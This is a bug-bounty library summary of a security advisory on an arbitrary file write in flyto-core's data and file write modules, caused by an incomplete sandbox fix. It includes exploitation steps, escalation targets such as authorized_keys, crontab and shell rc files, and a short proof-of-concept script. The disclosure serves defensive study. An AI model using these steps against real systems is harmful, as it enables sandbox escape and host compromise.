# Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)

Unguarded data.*/file.* write modules in flyto-core write attacker-controlled absolute paths outside FLYTO_SANDBOX_DIR, enabling arbitrary file write and RCE.

- Payout: Research
- Severity: critical
- Program: Flyto2 Core
- Found by: Pig-Tail
- Disclosed: 2026-11-20
- CVE: CVE-2026-77312
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-p34x-fmph-9fjx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p34x-fmph-9fjx
- Tags: area:ai domain:ai domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:python technique:incomplete-fix technique:source-review vuln:path-traversal vuln:rce

**Target:** Python module runtime / MCP execute_module recipe engine
**Root cause:** GHSA-2956 fix added validate_path_with_env_config() per-module to a hand-picked list instead of centrally; data.* and file.* write modules were omitted and remain unconfined. csv_write's only check is a '..' substring denylist that misses absolute paths.
**Steps:**
1. Set `FLYTO_SANDBOX_DIR=/tmp/flyto_sbx` and confirm `validate_path_with_env_config('/tmp/flyto_PWNED_OUTSIDE.csv')` raises PathTraversalError.
2. Invoke `data.csv.write` with `{'file_path': '/tmp/flyto_PWNED_OUTSIDE.csv', 'data':[{'pwn':'SENTINEL_CSV'}]}` via execute_module.
3. Invoke `data.json_to_csv` with `{'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT2}`.
4. Observe both files written outside the sandbox (realpath not under SBX).
5. Repeat with `file.copy`/`file.move` destination, or target `~/.bashrc`, crontab, `authorized_keys`, or a `.py` module for RCE.
**How found:** Reviewed the GHSA-2956 patch commit d5f89d7 and noticed enforcement was per-module (e.g. image/download.py:21) with no central guard; audited sibling write modules for the missing call and found data.*/file.* families unguarded. Adversarial re-read checked for a central guard, the '..' denylist, and the filesystem.write capability flag — none confine paths.
**Exploitation:** Any client able to run a module/recipe (unauthenticated on the HTTP MCP surface per CVE-2026-55786) supplies an absolute file_path/output_path/destination plus content; the module makedirs and open()s it verbatim, escaping the sandbox. Overwriting a Python module, .flyto recipe, shell rc, crontab or authorized_keys yields code execution / host compromise.
**Escalation:** Arbitrary-content write to any absolute path escalates from sandbox escape to RCE by overwriting app code, recipes, shell rc, cron, or SSH authorized_keys.
**Insight:** When a path-traversal fix is applied per-module to an explicit list, enumerate every module declaring the same capability (filesystem.write) and diff which ones actually call the guard — the omitted siblings are the bug. Also treat '..' substring denylists as bypassable by absolute paths.

## Proof of concept (copied exactly from the original report)

**Inline PoC calling csv_write and json_to_csv**

```
from core.utils import validate_path_with_env_config, PathTraversalError
try:
    validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow")
except PathTraversalError:
    print("[guard] GHSA-2956 guard REJECTS out-of-sandbox path (as intended)")
async def call(W, p): return await W(p, {}).execute()
from core.modules.atomic.data.csv_write import csv_write
from core.modules.atomic.data.json_to_csv import json_to_csv
asyncio.run(call(csv_write,  {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))
asyncio.run(call(json_to_csv,{'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT+'.json.csv'}))
print("wrote outside sandbox:", os.path.exists(OUT),
      "| inside sandbox?", os.path.realpath(OUT).startswith(os.path.realpath(SBX)))
```

